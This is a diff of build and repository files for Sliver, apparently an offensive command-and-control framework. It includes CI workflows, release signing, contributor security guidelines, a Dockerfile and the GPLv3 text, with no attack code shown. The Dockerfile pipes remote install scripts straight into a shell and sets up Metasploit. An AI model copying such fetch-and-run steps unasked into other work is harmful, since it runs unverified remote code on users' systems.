assets/darwin
assets/linux
assets/windows
/server/assets/fs/**.zip
/*.sdk.tar.xz
/sliver-server
/sliver-server.exe
/sliver-client
/sliver-client.exe
/.vscode/
/.vscode/*
/.github/
/.github/*
/build.py
/LICENSE
/SECURITY.md
/README.md
/CONTRIBUTING.md
+1
View File
@@ -0,0 +1 @@
* @BishopFox/red-team
+8
View File
@@ -0,0 +1,8 @@
name: "CodeQL Security Checks"
queries:
- name: Security and Quality
uses: security-extended
paths:
- server
- implant
+16
View File
@@ -0,0 +1,16 @@
# Basic set up for three package managers
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Maintain dependencies for go
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
+155
View File
@@ -0,0 +1,155 @@
name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master, goreleaser]
jobs:
linux-windows-build:
name: Linux & Windows Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v3
with:
name: linux
path: ./sliver-*
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v3
with:
name: windows
path: ./sliver-*
macos-build:
name: MacOS Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Mingw
run: brew install mingw-w64
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v3
with:
name: macos
path: ./sliver-*
tagged-release:
needs: [linux-windows-build, macos-build]
name: "Tagged Release"
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
+77
View File
@@ -0,0 +1,77 @@
name: "Code Scanning"
on:
push:
branches:
- test/*
# pull_request:
# branches:
# - master
jobs:
CodeQL-Build:
name: CodeQL Security Scan
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
# Setup go environment
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Checkout repository
uses: actions/checkout@v3
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
# Only include this option if you are running this workflow on pull requests.
if: ${{ github.event_name == 'pull_request' }}
fetch-depth: 2
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Go Assets
run: ./go-assets.sh
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
# Build the server ... is this necessary though?
- run: |
make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2
env:
VERSION: ${{github.sha}}
+79
View File
@@ -0,0 +1,79 @@
name: Build & Test
on:
push:
branches:
- test/*
pull_request:
branches:
- master
types:
- opened
- reopened
- synchronize
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make linux
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Mingw
run: brew install mingw-w64
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make macos
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
+17 -19
View File
@@ -1,28 +1,28 @@
.vscode/*
/.vscode/*
/.devcontainer
/.idea
# Generated by makefile
client/version/version.go
server/assets/version.go
/Dockerfile.*
/*.sdk.tar.xz
/release-*
# Diffs
*.orig
# Binaries
sliver-server
sliver.exe
/sliver-server
/sliver-server_arm64
/sliver.exe
sliver-client
sliver-client.exe
/sliver-client
/sliver-client_arm64
/sliver-client.exe
sliver-server-linux.zip
sliver-server-macos.zip
sliver-server-windows.zip
# Large static assets
assets/*.zip
assets/darwin/*.zip
assets/linux/*.zip
assets/windows/*.zip
# Binaries for programs and plugins
*.exe
@@ -31,16 +31,14 @@ assets/windows/*.zip
*.dylib
# Test binary, build with `go test -c`
*.test
/*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
/*.out
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
.glide/
*.pb.go
*-packr.go
.DS_Store
dist/
+16 -11
View File
@@ -3,27 +3,32 @@ Contributing to Sliver
## General
* Changes should be made in a new branch.
* Please provide meaningful commit messages.
* Ensure code passes existing unit tests, or provide updated test(s).
* `gofmt` your code.
* Any changes to `vendor/` should be in a distinct commit.
* Contributions to core code must be GPLv3 (but not libraries)
* If you'd like to work on a feature, please open a ticket and assign it to yourself
* Changes should be made in a new branch
* Commits [must be signed](https://docs.github.com/en/github/authenticating-to-github/signing-commits) for any PR to master
* Please provide meaningful commit messages
* Ensure code passes existing unit tests, or provide updated test(s)
* `gofmt` your code
* Any changes to `vendor/` should be in a distinct commit
* Avoid use of `CGO` (limits cross-platform support)
* Avoid use of empty interfaces
* Never import anything from the `server` package in the `client` package.
## Security
* _Never_ trust the user -applied in a common-sense way.
* _Never_ trust the user, applied in a common-sense way.
* __Secure by default__, please ensure any contributed code follows this methodology to the best of your ability. It should be difficult to insecurely configure features/servers.
- It is better to fail securely than operate in an insecure manner.
* _Avoid_ incorporating user controlled values when constructing file/directory paths. Ensure any values that must be incorporated into paths are properly canolicalized.
* _Never_ use homegrown or non-peer reveiwed encryption or random number generation algorithms.
* Whenever possible, use the following alogirthms/encryption modes:
* _Avoid_ incorporating user controlled values when constructing file/directory paths. Ensure any values that must be incorporated into paths are properly canonicalized.
* _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
* Whenever possible, use the following algorithms/encryption modes:
- AES-GCM-256
- RSA-OAEP-2048 / RSA-OAEP-4096
- SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
- Curves P521, P384, P256
* _Never_ using the following in a security context, and _avoid_ use even in a non-security context:
- Curve25519, XSalsa20, and Poly1305 (Nacl)
- ChaCha20Poly1305
* _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
- MD5
- SHA1
- AES-ECB
+50 -57
View File
@@ -1,80 +1,73 @@
FROM golang:1.12
FROM golang:1.19.1
ENV PROTOC_VER 3.7.0
ENV RUBY_VER 2.6.2
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
# Sliver using this container configuration! However, if you do want
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 3.19.4
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
#
# > User
#
RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
#
# > Metasploit
#
WORKDIR /opt
RUN git clone --progress --verbose --depth 1 https://github.com/rapid7/metasploit-framework.git msf
WORKDIR /opt/msf
# RVM
RUN gpg --no-tty --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB
RUN curl -L https://get.rvm.io | bash -s stable
RUN /bin/bash -l -c "rvm requirements"
RUN /bin/bash -l -c "rvm install ${RUBY_VER}"
RUN /bin/bash -l -c "rvm use ${RUBY_VER} --default"
RUN /bin/bash -l -c "source /usr/local/rvm/scripts/rvm"
RUN /bin/bash -l -c "gem install bundler"
RUN /bin/bash -l -c "source /usr/local/rvm/scripts/rvm && which bundle"
RUN /bin/bash -l -c "which bundle"
# Get dependencies
RUN /bin/bash -l -c "BUNDLEJOBS=$(expr $(cat /proc/cpuinfo | grep vendor_id | wc -l) - 1)"
RUN /bin/bash -l -c "bundle config --global jobs $BUNDLEJOBS"
RUN /bin/bash -l -c "bundle install"
# Symlink tools to $PATH
RUN for i in `ls /opt/msf/tools/*/*`; do ln -s $i /usr/local/bin/; done
RUN ln -s /opt/msf/msf* /usr/local/bin
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
#
# > Sliver
#
# protoc
# Protoc
WORKDIR /tmp
RUN wget https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& cp -vv ./bin/protoc /usr/local/bin
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
# go get utils
RUN go get github.com/golang/protobuf/protoc-gen-go
RUN go get -u github.com/gobuffalo/packr/packr
# install dep
RUN curl https://raw.githubusercontent.com/golang/dep/master/install.sh | sh
# assets
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# compile - we have to run dep after copying the code over or it bitches
ADD . /go/src/github.com/bishopfox/sliver/
RUN make static-linux && cp -vv sliver-server /opt/sliver-server
RUN /opt/sliver-server -unpack && /go/src/github.com/bishopfox/sliver/go-tests.sh
RUN make clean-all \
&& ./go-assets.sh
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
# Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /root/.sliver
# TODO: Don't run server as root user
&& rm -rf /home/sliver/.sliver
USER sliver
WORKDIR /home/sliver/
ENTRYPOINT [ "/opt/sliver-server" ]
Generated
-249
View File
@@ -1,249 +0,0 @@
# This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'.
[[projects]]
name = "github.com/AlecAivazis/survey"
packages = ["."]
revision = "3389f2f05f2f02457ea70d0cf93653543d2324e9"
version = "v1.8.1"
[[projects]]
branch = "master"
name = "github.com/AndreasBriese/bbloom"
packages = ["."]
revision = "e2d15f34fcf99d5dbb871c820ec73f710fca9815"
[[projects]]
name = "github.com/davecgh/go-spew"
packages = ["spew"]
revision = "8991bc29aa16c548c550c7ff78260e27b9ab7c73"
version = "v1.1.1"
[[projects]]
name = "github.com/desertbit/closer"
packages = ["."]
revision = "93b2a5f3df09367c0106a72d7a4ed591f11f32c3"
version = "v2.0.0"
[[projects]]
name = "github.com/desertbit/columnize"
packages = ["."]
revision = "983d3a5fab1bf04d1b412465d2d9f8430e2e917e"
version = "v2.1.0"
[[projects]]
branch = "master"
name = "github.com/desertbit/go-shlex"
packages = ["."]
revision = "3f9db97f856818214da2e1057f8ad84803971cff"
[[projects]]
name = "github.com/desertbit/grumble"
packages = ["."]
revision = "09bfd1c64f745c996d1301a2b6957b627b53383d"
version = "v1.0.0"
[[projects]]
name = "github.com/desertbit/readline"
packages = ["."]
revision = "f6d7a1f6fbf35bbf9beb80dc63c56a29dcfb759f"
version = "v1.5"
[[projects]]
branch = "master"
name = "github.com/dgraph-io/badger"
packages = [".","options","pb","skl","table","y"]
revision = "ff2b7fe72292c0c971de7c8659b13542aa71a5c0"
[[projects]]
branch = "master"
name = "github.com/dgryski/go-farm"
packages = ["."]
revision = "e1214b5e05dc9a680734f587f0e1686b3889f983"
[[projects]]
name = "github.com/dustin/go-humanize"
packages = ["."]
revision = "9f541cc9db5d55bce703bd99987c9d5cb8eea45e"
version = "v1.0.0"
[[projects]]
name = "github.com/fatih/color"
packages = ["."]
revision = "5b77d2a35fb0ede96d138fc9a99f5c9b6aef11b4"
version = "v1.7.0"
[[projects]]
name = "github.com/gobuffalo/envy"
packages = ["."]
revision = "f3b98d4da2fa434517f47f615e217fa72ff2c51e"
version = "v1.6.12"
[[projects]]
branch = "master"
name = "github.com/gobuffalo/packd"
packages = ["."]
revision = "eca3b8fd66872a76119b189bbe0f58f776a2a39f"
[[projects]]
name = "github.com/gobuffalo/packr"
packages = ["."]
revision = "679459352e18b4c74274a979d695fe13b68730c1"
version = "v1.21.9"
[[projects]]
branch = "master"
name = "github.com/gobuffalo/syncx"
packages = ["."]
revision = "558ac7de985fc4f4057bff27c7bdf99e92fe0750"
[[projects]]
name = "github.com/golang/protobuf"
packages = ["proto"]
revision = "aa810b61a9c79d51363740d207bb46cf8e620ed5"
version = "v1.2.0"
[[projects]]
name = "github.com/google/uuid"
packages = ["."]
revision = "0cd6bf5da1e1c83f8b45653022c74f71af0538a4"
version = "v1.1.1"
[[projects]]
name = "github.com/gorilla/mux"
packages = ["."]
revision = "a7962380ca08b5a188038c69871b8d3fbdf31e89"
version = "v1.7.0"
[[projects]]
name = "github.com/hashicorp/errwrap"
packages = ["."]
revision = "8a6fb523712970c966eefc6b39ed2c5e74880354"
version = "v1.0.0"
[[projects]]
name = "github.com/hashicorp/go-multierror"
packages = ["."]
revision = "886a7fbe3eb1c874d46f623bfa70af45f425b3d1"
version = "v1.0.0"
[[projects]]
name = "github.com/joho/godotenv"
packages = ["."]
revision = "23d116af351c84513e1946b527c88823e476be13"
version = "v1.3.0"
[[projects]]
branch = "master"
name = "github.com/kballard/go-shellquote"
packages = ["."]
revision = "95032a82bc518f77982ea72343cc1ade730072f0"
[[projects]]
name = "github.com/konsorten/go-windows-terminal-sequences"
packages = ["."]
revision = "f55edac94c9bbba5d6182a4be46d86a2c9b5b50e"
version = "v1.0.2"
[[projects]]
branch = "master"
name = "github.com/markbates/oncer"
packages = ["."]
revision = "bf2de49a0be218916e69a11d22866e6cd0a560f2"
[[projects]]
name = "github.com/mattn/go-colorable"
packages = ["."]
revision = "167de6bfdfba052fa6b2d3664c8f5272e23c9072"
version = "v0.0.9"
[[projects]]
name = "github.com/mattn/go-isatty"
packages = ["."]
revision = "6ca4dbf54d38eea1a992b3c722a76a5d1c4cb25c"
version = "v0.0.4"
[[projects]]
branch = "master"
name = "github.com/mgutz/ansi"
packages = ["."]
revision = "9520e82c474b0a04dd04f8a40959027271bab992"
[[projects]]
name = "github.com/miekg/dns"
packages = ["."]
revision = "8fc2e5773bbd308ca2fcc962fd8d25c1bd0f6743"
version = "v1.1.4"
[[projects]]
branch = "master"
name = "github.com/mmcloughlin/avo"
packages = ["attr","build","buildtags","gotypes","internal/prnt","internal/stack","ir","operand","pass","printer","reg","src","x86"]
revision = "2e7d06bc7ada2979f17ccf8ebf486dba23b84fc7"
[[projects]]
name = "github.com/pkg/errors"
packages = ["."]
revision = "ba968bfe8b2f7e042a574c888954fccecfa385b4"
version = "v0.8.1"
[[projects]]
name = "github.com/pmezard/go-difflib"
packages = ["difflib"]
revision = "792786c7400a136282c1664665ae0a8db921c6c2"
version = "v1.0.0"
[[projects]]
name = "github.com/rogpeppe/go-internal"
packages = ["modfile","module","semver"]
revision = "68d1cb014f030acd0f10ac553801e43c0e5da629"
version = "v1.1.0"
[[projects]]
name = "github.com/sirupsen/logrus"
packages = ["."]
revision = "dae0fa8d5b0c810a8ab733fbd5510c7cae84eca4"
version = "v1.4.0"
[[projects]]
name = "github.com/stretchr/testify"
packages = ["assert"]
revision = "ffdc059bfe9ce6a4e144ba849dbedead332c6053"
version = "v1.3.0"
[[projects]]
branch = "master"
name = "golang.org/x/crypto"
packages = ["acme","acme/autocert","ed25519","ed25519/internal/edwards25519","ssh/terminal"]
revision = "057139ce5d2bdbe6fe73c53679e24e9cf007f637"
[[projects]]
branch = "master"
name = "golang.org/x/net"
packages = ["bpf","internal/iana","internal/socket","internal/timeseries","ipv4","ipv6","trace"]
revision = "d26f9f9a57f3fab6a695bec0d84433c2c50f8bbf"
[[projects]]
branch = "master"
name = "golang.org/x/sys"
packages = ["unix","windows","windows/registry"]
revision = "b90733256f2e882e81d52f9126de08df5615afd9"
[[projects]]
branch = "master"
name = "golang.org/x/tools"
packages = ["go/ast/astutil","go/buildutil","go/gcexportdata","go/internal/cgo","go/internal/gcimporter","go/internal/packagesdriver","go/loader","go/packages","go/types/typeutil","internal/fastwalk","internal/gopathwalk","internal/semver","refactor/importgraph","refactor/satisfy"]
revision = "cc6a436ffe6b424fffa1d91862c9b664d8407828"
[[projects]]
name = "gopkg.in/AlecAivazis/survey.v1"
packages = ["core","terminal"]
revision = "ee72c28b95a5ff3e227cfd403f556f0ef4b07ca5"
version = "v1.8.2"
[solve-meta]
analyzer-name = "dep"
analyzer-version = 1
inputs-digest = "095daf8c62dbc180a0a27d5df7d6621d7ebf6d614e8be2ce5e0d57b0acf098cc"
solver-name = "gps-cdcl"
solver-version = 1
-23
View File
@@ -1,23 +0,0 @@
[[constraint]]
name = "github.com/gobuffalo/packr"
version = "1.21.9"
[[constraint]]
name = "github.com/golang/protobuf"
version = "1.2.0"
[[constraint]]
branch = "master"
name = "golang.org/x/crypto"
[[constraint]]
branch = "master"
name = "golang.org/x/tools"
[[constraint]]
branch = "master"
name = "github.com/tj/go-spin"
[[constraint]]
branch = "master"
name = "github.com/dgraph-io/badger"
+674
View File
@@ -0,0 +1,674 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
